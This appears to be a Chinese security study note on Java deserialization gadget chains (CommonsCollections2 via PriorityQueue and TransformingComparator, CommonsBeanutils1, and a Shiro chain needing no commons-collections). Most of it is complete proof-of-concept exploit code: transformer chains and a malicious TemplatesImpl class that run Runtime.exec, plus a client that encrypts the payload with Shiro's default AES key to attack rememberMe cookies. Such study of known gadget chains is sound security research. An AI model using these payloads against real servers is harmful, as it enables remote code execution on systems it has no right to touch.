java_PriorityQueue
java.util.PriorityQueue 是一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。其中PriorityQueue有自己的readObject反序列化入口。
反序列化链为:PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。当comparator为TransformingComparator对象时,能触发transform()方法:
至于PriorityQueue的heapify()、siftDown()、siftDownUsingComparator()的用处就是恢复排序、节点下移和比较元素大小。而Comparator则是定义了两个对象用什么方式比较
CC2TransformingComparator
结合CC2的利用方式,就是向TransformingComparator传入恶意Transformer。
Comparator comparator = new TransformingComparator(transformerChain);
再用priorityQueue触发comparator:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
可以add任何非null对象,因为触发transform与队列参数无关(比较的是1,2,比较方式为comparator.compare())
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2TransformingComparator {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
测试结果:
TemplatesImpl无数组TransformingComparator
用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的无数组链:
同样的向TransformingComparator传入恶意Transformer,这次传的是InvokerTransformer,而非transformerChain数组
Comparator comparator = new TransformingComparator(transformer);
触发comparator的方式还是实例化PriorityQueue对象
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key
TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()
但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()
只需要compare()时对象为恶意InvokerTransformer
恶意字节码类:
package evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
POC:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class ShiroTransformingComparator {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer、InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口
CommonsBeanutil
javaBean的介绍:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
从中可以了解到getter、setter、属性的概念。
在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform()。除了这种方式外,还有org.apache.commons.beanutils.BeanComparator.compare()
BeanComparator.compare()方法代码如下:
其中的getProperty方法可以调用任意javaBean的getter方法(形如getName
)。
Object value1 = PropertyUtils.getProperty(o1,this.property);
该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");
现在反序列化链为:
BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
getOutputProperties()符合getter的定义,所以property(属性名)的值为OutputProperties时,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
POC:
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "godown");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
那么这条链跟上面那个只用到了priorityQueue的区别在哪?
好像只是反序列化的入口从newInstance变成了getOutputProperties?
正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:
PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()
因此3.2.2和4.1就能开心的拿着这个payload去打
不需要CC库的shiroCommonBeanutils
shiro本身依赖commons-beautils库。所以上面的payload可以直接改造用来打shiro。
如果本地commons-beanutils和服务器shiro的CB版本不一样的话,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本
那服务端没有commons-collections库的时候呢?
在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator
而这个类来自commons.collections,所以要避开使用这个缺省参数。也就是要找到一个类有comparator接口和serializable接口
CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的,只需要恶意property
所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
POC:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ShiroCommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
转字节码打shiro poc:
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Clientattack {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.ShiroCommonsBeanutils1.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
参考:phith0n《java安全漫谈(16、17)》